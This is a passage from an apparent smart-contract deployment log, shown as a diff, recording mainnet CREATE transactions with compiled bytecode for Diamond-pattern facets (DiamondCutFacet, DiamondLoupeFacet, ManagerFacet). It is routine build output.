fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0061067760017f7a9158dd65ad6382295fd9a8aad0a64b5d99867a77a0a1b2bc38a4f50be8bd77610bc3565b1692915050565b73ffffffffffffffffffffffffffffffffffffffff811660009081526001830160205260408120541515610405565b6106b78282610428565b6101d7576106da8173ffffffffffffffffffffffffffffffffffffffff16610798565b6106e58360206107b7565b6040516020016106f6929190610bfa565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152908290527f08c379a00000000000000000000000000000000000000000000000000000000082526101c491600401610c7b565b60006104058373ffffffffffffffffffffffffffffffffffffffff84166109ce565b60006104058373ffffffffffffffffffffffffffffffffffffffff8416610a1d565b60606101e673ffffffffffffffffffffffffffffffffffffffff831660145b606060006107c6836002610ccc565b6107d1906002610ce3565b67ffffffffffffffff8111156107e9576107e9610cf6565b6040519080825280601f01601f191660200182016040528015610813576020820181803683370190505b5090507f30000000000000000000000000000000000000000000000000000000000000008160008151811061084a5761084a610d25565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106108ad576108ad610d25565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600160028402015b6001811115610995577f303132333435363738396162636465660000000000000000000000000000000085600f166010811061092257610922610d25565b1a60f81b82828151811061093857610938610d25565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060049490941c937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff016108e4565b508315610405576040517fc913478500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000818152600183016020526040812054610a15575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556101e6565b5060006101e6565b60008181526001830160205260408120548015610b06576000610a41600183610bc3565b8554909150600090610a5590600190610bc3565b9050818114610aba576000866000018281548110610a7557610a75610d25565b9060005260206000200154905080876000018481548110610a9857610a98610d25565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080610acb57610acb610d54565b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506101e6565b60009150506101e6565b60008060408385031215610b2357600080fd5b50508035926020909101359150565b600060208284031215610b4457600080fd5b5035919050565b60008060408385031215610b5e57600080fd5b82359150602083013573ffffffffffffffffffffffffffffffffffffffff81168114610b8957600080fd5b809150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b818103818111156101e6576101e6610b94565b60005b83811015610bf1578181015183820152602001610bd9565b50506000910152565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351610c32816017850160208801610bd6565b7f206973206d697373696e6720726f6c65200000000000000000000000000000006017918401918201528351610c6f816028840160208801610bd6565b01602801949350505050565b6020815260008251806020840152610c9a816040850160208701610bd6565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b80820281158282048414176101e6576101e6610b94565b808201808211156101e6576101e6610b94565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fdfea26469706673582212205bde9c390867f57489d1468716558e95e312be2323121c8a6a186414406ffd7464736f6c63430008130033", + "nonce": "0x44d", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x569b506b9a9876af9d309da49dcfd4c34de030f61ab3227fb9f3e751b03c7cbd", + "transactionType": "CREATE", + "contractName": "DiamondCutFacet", + "contractAddress": "0xd3c81bd07948a38546bca894f8bfecb552613798", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x1fdf7e", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b50611c5f806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631f931c1c14610030575b600080fd5b61004361003e366004611589565b610045565b005b61004d61009e565b61009761005a8587611706565b8484848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061015592505050565b5050505050565b6100a6610396565b6004015473ffffffffffffffffffffffffffffffffffffffff163314610153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4c69624469616d6f6e643a204d75737420626520636f6e7472616374206f776e60448201527f657200000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b565b60005b835181101561034b57600084828151811061017557610175611862565b60200260200101516020015190506000600281111561019657610196611891565b8160028111156101a8576101a8611891565b036101f6576101f18583815181106101c2576101c2611862565b6020026020010151600001518684815181106101e0576101e0611862565b6020026020010151604001516103ec565b610338565b600181600281111561020a5761020a611891565b03610253576101f185838151811061022457610224611862565b60200260200101516000015186848151811061024257610242611862565b602002602001015160400151610786565b600281600281111561026757610267611891565b036102b0576101f185838151811061028157610281611862565b60200260200101516000015186848151811061029f5761029f611862565b602002602001015160400151610b30565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4c69624469616d6f6e644375743a20496e636f7272656374204661636574437560448201527f74416374696f6e00000000000000000000000000000000000000000000000000606482015260840161014a565b5080610343816118ef565b915050610158565b507f8faa70878671ccd212d20771b795c50af8fd3ff6cf27f4bde57e5d4de0aeb67383838360405161037f93929190611995565b60405180910390a16103918282610d0e565b505050565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff006103e560017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c611afd565b1692915050565b600081511161047d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660448201527f6163657420746f20637574000000000000000000000000000000000000000000606482015260840161014a565b6000610487610396565b905073ffffffffffffffffffffffffffffffffffffffff831661052c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4c69624469616d6f6e644375743a204164642066616365742063616e2774206260448201527f6520616464726573732830290000000000000000000000000000000000000000606482015260840161014a565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600182016020526040812054906bffffffffffffffffffffffff82169003610574576105748285610e07565b60005b835181101561009757600084828151811061059457610594611862565b6020908102919091018101517fffffffff00000000000000000000000000000000000000000000000000000000811660009081529186905260409091205490915073ffffffffffffffffffffffffffffffffffffffff168015610679576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f4c69624469616d6f6e644375743a2043616e2774206164642066756e6374696f60448201527f6e207468617420616c7265616479206578697374730000000000000000000000606482015260840161014a565b7fffffffff000000000000000000000000000000000000000000000000000000008216600081815260208781526040808320805473ffffffffffffffffffffffffffffffffffffffff908116740100000000000000000000000000000000000000006bffffffffffffffffffffffff8c16021782558c168085526001808c0185529285208054938401815585528385206008840401805463ffffffff60079095166004026101000a948502191660e08a901c94909402939093179092559390925287905281547fffffffffffffffffffffffff0000000000000000000000000000000000000000161790558361076e81611b16565b9450505050808061077e906118ef565b915050610577565b6000815111610817576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660448201527f6163657420746f20637574000000000000000000000000000000000000000000606482015260840161014a565b6000610821610396565b905073ffffffffffffffffffffffffffffffffffffffff83166108c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4c69624469616d6f6e644375743a204164642066616365742063616e2774206260448201527f6520616464726573732830290000000000000000000000000000000000000000606482015260840161014a565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600182016020526040812054906bffffffffffffffffffffffff8216900361090e5761090e8285610e07565b60005b835181101561009757600084828151811061092e5761092e611862565b6020908102919091018101517fffffffff00000000000000000000000000000000000000000000000000000000811660009081529186905260409091205490915073ffffffffffffffffffffffffffffffffffffffff9081169087168103610a18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603860248201527f4c69624469616d6f6e644375743a2043616e2774207265706c6163652066756e60448201527f6374696f6e20776974682073616d652066756e6374696f6e0000000000000000606482015260840161014a565b610a23858284610e96565b7fffffffff000000000000000000000000000000000000000000000000000000008216600081815260208781526040808320805473ffffffffffffffffffffffffffffffffffffffff908116740100000000000000000000000000000000000000006bffffffffffffffffffffffff8c16021782558c168085526001808c0185529285208054938401815585528385206008840401805463ffffffff60079095166004026101000a948502191660e08a901c94909402939093179092559390925287905281547fffffffffffffffffffffffff00000000000000000000000000000000000000001617905583610b1881611b16565b94505050508080610b28906118ef565b915050610911565b6000815111610bc1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660448201527f6163657420746f20637574000000000000000000000000000000000000000000606482015260840161014a565b6000610bcb610396565b905073ffffffffffffffffffffffffffffffffffffffff831615610c71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603660248201527f4c69624469616d6f6e644375743a2052656d6f7665206661636574206164647260448201527f657373206d757374206265206164647265737328302900000000000000000000606482015260840161014a565b60005b8251811015610d08576000838281518110610c9157610c91611862565b6020908102919091018101517fffffffff00000000000000000000000000000000000000000000000000000000811660009081529185905260409091205490915073ffffffffffffffffffffffffffffffffffffffff16610cf3848284610e96565b50508080610d00906118ef565b915050610c74565b50505050565b73ffffffffffffffffffffffffffffffffffffffff8216610d2d575050565b610d4f82604051806060016040528060288152602001611bde602891396114dc565b6000808373ffffffffffffffffffffffffffffffffffffffff1683604051610d779190611b41565b600060405180830381855af49150503d8060008114610db2576040519150601f19603f3d011682016040523d82523d6000602084013e610db7565b606091505b509150915081610d0857805115610dd15780518082602001fd5b83836040517f192105d700000000000000000000000000000000000000000000000000000000815260040161014a929190611b5d565b610e2981604051806060016040528060248152602001611c06602491396114dc565b60028201805473ffffffffffffffffffffffffffffffffffffffff90921660008181526001948501602090815260408220860185905594840183559182529290200180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169091179055565b73ffffffffffffffffffffffffffffffffffffffff8216610f39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603760248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f76652066756e6360448201527f74696f6e207468617420646f65736e2774206578697374000000000000000000606482015260840161014a565b7fe06ce3e4000000000000000000000000000000000000000000000000000000007fffffffff0000000000000000000000000000000000000000000000000000000082160161100a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f7665206469616d60448201527f6f6e644375742066756e6374696f6e0000000000000000000000000000000000606482015260840161014a565b3073ffffffffffffffffffffffffffffffffffffffff8316036110af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f766520696d6d7560448201527f7461626c652066756e6374696f6e000000000000000000000000000000000000606482015260840161014a565b7fffffffff0000000000000000000000000000000000000000000000000000000081166000908152602084815260408083205473ffffffffffffffffffffffffffffffffffffffff86168452600180880190935290832054740100000000000000000000000000000000000000009091046bffffffffffffffffffffffff16929161113991611afd565b90508082146112805773ffffffffffffffffffffffffffffffffffffffff84166000908152600186016020526040812080548390811061117b5761117b611862565b6000918252602080832060088304015473ffffffffffffffffffffffffffffffffffffffff8916845260018a019091526040909220805460079092166004026101000a90920460e01b9250829190859081106111d9576111d9611862565b600091825260208083206008830401805463ffffffff60079094166004026101000a938402191660e09590951c929092029390931790557fffffffff0000000000000000000000000000000000000000000000000000000092909216825286905260409020805473ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000006bffffffffffffffffffffffff8516021790555b73ffffffffffffffffffffffffffffffffffffffff8416600090815260018601602052604090208054806112b6576112b6611b94565b6000828152602080822060087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90940193840401805463ffffffff600460078716026101000a0219169055919092557fffffffff00000000000000000000000000000000000000000000000000000000851682528690526040812081905581900361009757600285015460009061134f90600190611afd565b73ffffffffffffffffffffffffffffffffffffffff8616600090815260018089016020526040909120015490915080821461143d57600087600201838154811061139b5761139b611862565b60009182526020909120015460028901805473ffffffffffffffffffffffffffffffffffffffff90921692508291849081106113d9576113d9611862565b600091825260208083209190910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff948516179055929091168152600189810190925260409020018190555b8660020180548061145057611450611b94565b6000828152602080822083017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905590920190925573ffffffffffffffffffffffffffffffffffffffff88168252600189810190915260408220015550505050505050565b813b8181610d08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161014a9190611bc3565b803573ffffffffffffffffffffffffffffffffffffffff8116811461153b57600080fd5b919050565b60008083601f84011261155257600080fd5b50813567ffffffffffffffff81111561156a57600080fd5b60208301915083602082850101111561158257600080fd5b9250929050565b6000806000806000606086880312156115a157600080fd5b853567ffffffffffffffff808211156115b957600080fd5b818801915088601f8301126115cd57600080fd5b8135818111156115dc57600080fd5b8960208260051b85010111156115f157600080fd5b6020830197508096505061160760208901611517565b9450604088013591508082111561161d57600080fd5b5061162a88828901611540565b969995985093965092949392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040516060810167ffffffffffffffff8111828210171561168d5761168d61163b565b60405290565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff811182821017156116da576116da61163b565b604052919050565b600067ffffffffffffffff8211156116fc576116fc61163b565b5060051b60200190565b6000611719611714846116e2565b611693565b83815260208082019190600586811b86013681111561173757600080fd5b865b8181101561185557803567ffffffffffffffff8082111561175a5760008081fd5b818a019150606082360312156117705760008081fd5b61177861166a565b61178183611517565b815286830135600381106117955760008081fd5b81880152604083810135838111156117ad5760008081fd5b939093019236601f8501126117c457600092508283fd5b833592506117d4611714846116e2565b83815292871b840188019288810190368511156117f15760008081fd5b948901945b8486101561183e5785357fffffffff000000000000000000000000000000000000000000000000000000008116811461182f5760008081fd5b825294890194908901906117f6565b918301919091525088525050948301948301611739565b5092979650505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611920576119206118c0565b5060010190565b60005b8381101561194257818101518382015260200161192a565b50506000910152565b60008151808452611963816020860160208601611927565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60006060808301818452808751808352608092508286019150828160051b8701016020808b0160005b84811015611ac0577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff808a8503018652815188850173ffffffffffffffffffffffffffffffffffffffff82511686528482015160038110611a47577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b868601526040918201519186018a905281519081905290840190600090898701905b80831015611aab5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928601926001929092019190860190611a69565b509785019795505050908201906001016119be565b505073ffffffffffffffffffffffffffffffffffffffff8a16908801528681036040880152611aef818961194b565b9a9950505050505050505050565b81810381811115611b1057611b106118c0565b92915050565b60006bffffffffffffffffffffffff808316818103611b3757611b376118c0565b6001019392505050565b60008251611b53818460208701611927565b9190910192915050565b73ffffffffffffffffffffffffffffffffffffffff83168152604060208201526000611b8c604083018461194b565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b602081526000611bd6602083018461194b565b939250505056fe4c69624469616d6f6e644375743a205f696e6974206164647265737320686173206e6f20636f64654c69624469616d6f6e644375743a204e657720666163657420686173206e6f20636f6465a2646970667358221220eae05efcfa957bc46cd14c4726ab743abce9656ca27cbbd398f07b8ed6c3bd4564736f6c63430008130033", + "nonce": "0x44e", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x1afc7573f218b35609513d77be2ca2392aa11440dc2490aaa16bb8ec3ba688fd", + "transactionType": "CREATE", + "contractName": "DiamondLoupeFacet", + "contractAddress": "0xd11b60c336a8416162272475ff9df572e516fc51", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x9abe5", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b506107e6806100206000396000f3fe608060405234801561001057600080fd5b50600436106100675760003560e01c80637a0ed627116100505780637a0ed627146100a9578063adfca15e146100be578063cdffacc6146100de57600080fd5b806301ffc9a71461006c57806352ef6b2c14610094575b600080fd5b61007f61007a366004610521565b610116565b60405190151581526020015b60405180910390f35b61009c61015f565b60405161008b919061056a565b6100b16101d8565b60405161008b9190610621565b6100d16100cc3660046106c9565b6103a5565b60405161008b91906106ff565b6100f16100ec366004610521565b610471565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161008b565b6000806101216104cb565b7fffffffff00000000000000000000000000000000000000000000000000000000909316600090815260039093016020525050604090205460ff1690565b6060600061016b6104cb565b600281018054604080516020808402820181019092528281529394508301828280156101cd57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff1681526001909101906020018083116101a2575b505050505091505090565b606060006101e46104cb565b60028101549091508067ffffffffffffffff81111561020557610205610712565b60405190808252806020026020018201604052801561024b57816020015b6040805180820190915260008152606060208201528152602001906001900390816102235790505b50925060005b8181101561039f57600083600201828154811061027057610270610741565b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050808583815181106102b0576102b0610741565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff928316905290821660009081526001860182526040908190208054825181850281018501909352808352919290919083018282801561037157602002820191906000526020600020906000905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841161031e5790505b505050505085838151811061038857610388610741565b602090810291909101810151015250600101610251565b50505090565b606060006103b16104cb565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600182016020908152604091829020805483518184028101840190945280845293945091929083018282801561046457602002820191906000526020600020906000905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116104115790505b5050505050915050919050565b60008061047c6104cb565b7fffffffff0000000000000000000000000000000000000000000000000000000090931660009081526020939093525050604090205473ffffffffffffffffffffffffffffffffffffffff1690565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0061051a60017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c610770565b1692915050565b60006020828403121561053357600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461056357600080fd5b9392505050565b6020808252825182820181905260009190848201906040850190845b818110156105b857835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101610586565b50909695505050505050565b600081518084526020808501945080840160005b838110156106165781517fffffffff0000000000000000000000000000000000000000000000000000000016875295820195908201906001016105d8565b509495945050505050565b60006020808301818452808551808352604092508286019150828160051b87010184880160005b838110156106bb578883037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc00185528151805173ffffffffffffffffffffffffffffffffffffffff1684528701518784018790526106a8878501826105c4565b9588019593505090860190600101610648565b509098975050505050505050565b6000602082840312156106db57600080fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461056357600080fd5b60208152600061056360208301846105c4565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b818103818111156107aa577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b9291505056fea2646970667358221220e6b69c87b559650f830a1b81dcbc39f26769324b84b677adf39178afd0de48cf64736f6c63430008130033", + "nonce": "0x44f", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xf5c03465a68a86b700aba947ffdc09e320cfd13c4a659cb54b858141e604407c", + "transactionType": "CREATE", + "contractName": "ManagerFacet", + "contractAddress": "0x0e9f3299b9443d3d5130771f26b7e18a2a7aa9db", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x278882", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b50612364806100206000396000f3fe608060405234801561001057600080fd5b50600436106102d25760003560e01c80639232461111610186578063c0030add116100e3578063e2d443bd11610097578063f6f172cb11610071578063f6f172cb1461067e578063f986cd5714610691578063fbff3a41146106a457600080fd5b8063e2d443bd1461062f578063e8b7342414610642578063ebef28a71461066057600080fd5b8063d3815fb9116100c8578063d3815fb9146105e0578063dd390ea0146105fe578063e0ee68551461061157600080fd5b8063c0030add146105af578063c5f956af146105c257600080fd5b8063b0bd67b41161013a578063ba2d8cdd1161011f578063ba2d8cdd1461056b578063bc3ea0181461057e578063be1d86e11461059c57600080fd5b8063b0bd67b41461052f578063b42165d01461054d57600080fd5b8063965cc7ac1161016b578063965cc7ac146104ba578063a9b8b796146104d8578063ad3401ed1461051157600080fd5b8063923246111461049457806393e4e9ee146104a757600080fd5b8063221e2e60116102345780636605bfda116101e85780638b38ebb3116101cd5780638b38ebb31461048e5780638fe636831461048e57806391df16d31461048e57600080fd5b80636605bfda14610468578063826d5b8b1461047b57600080fd5b80633535f48b116102195780633535f48b1461040e57806336c3df241461042c578063421e108c1461044a57600080fd5b8063221e2e60146103dd57806333c5aa57146103fb57600080fd5b80631a47c9041161028b5780631c1f8aa3116102705780631c1f8aa3146103995780631f7e8c7e146103ac578063214f7882146103bf57600080fd5b80631a47c904146103685780631a867af51461038657600080fd5b8063017df327116102bc578063017df327146102ff578063147f1b961461034257806315f973981461035557600080fd5b806283faee146102d7578063016afee7146102ec575b600080fd5b6102ea6102e5366004611fc7565b6106b7565b005b6102ea6102fa366004611feb565b610774565b60095473ffffffffffffffffffffffffffffffffffffffff165b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b6102ea610350366004611fc7565b610879565b6102ea610363366004611fc7565b610931565b60135473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea610394366004611fc7565b6109e9565b6102ea6103a7366004611fc7565b610aa1565b6102ea6103ba366004611fc7565b610b59565b600e5473ffffffffffffffffffffffffffffffffffffffff16610319565b600d5473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea610409366004611fc7565b610c11565b60065473ffffffffffffffffffffffffffffffffffffffff16610319565b600c5473ffffffffffffffffffffffffffffffffffffffff16610319565b60125473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea610476366004611fc7565b610cc9565b6102ea610489366004611fc7565b610d81565b30610319565b6102ea6104a2366004611fc7565b610e39565b6102ea6104b5366004611fc7565b610ef1565b60085473ffffffffffffffffffffffffffffffffffffffff16610319565b6103196104e6366004611fc7565b73ffffffffffffffffffffffffffffffffffffffff9081166000908152601560205260409020541690565b60055473ffffffffffffffffffffffffffffffffffffffff16610319565b60025473ffffffffffffffffffffffffffffffffffffffff16610319565b600b5473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea610579366004611fc7565b610fa9565b60015473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea6105aa366004611fc7565b611061565b6102ea6105bd366004611fc7565b611119565b600a5473ffffffffffffffffffffffffffffffffffffffff16610319565b60075473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea61060c366004611fc7565b6111d1565b60045473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea61063d366004611fc7565b611289565b60115473ffffffffffffffffffffffffffffffffffffffff16610319565b600f5473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea61068c366004611feb565b611341565b6102ea61069f366004611fc7565b611405565b6102ea6106b2366004612024565b6114bd565b6106c2600033611efa565b61072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e0000000060448201526064015b60405180910390fd5b600580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b61077f600033611efa565b6107e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b6001546040517fb6232c9900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8481166004830152838116602483015290911690819063b6232c9990604401600060405180830381600087803b15801561085c57600080fd5b505af1158015610870573d6000803e3d6000fd5b50505050505050565b610884600033611efa565b6108ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600c80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b61093c600033611efa565b6109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600e80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6109f4600033611efa565b610a5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610aac600033611efa565b610b12576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610b64600033611efa565b610bca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600880547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610c1c600033611efa565b610c82576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b601380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610cd4600033611efa565b610d3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600a80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610d8c600033611efa565b610df2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b601180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610e44600033611efa565b610eaa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610efc600033611efa565b610f62576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b601480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610fb4600033611efa565b61101a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b61106c600033611efa565b6110d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600d80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b611124600033611efa565b61118a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b601280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6111dc600033611efa565b611242576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b611294600033611efa565b6112fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600b80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b61134c600033611efa565b6113b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260156020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001691909216179055565b611410600033611efa565b611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600180547fffffffffffffffffffffffff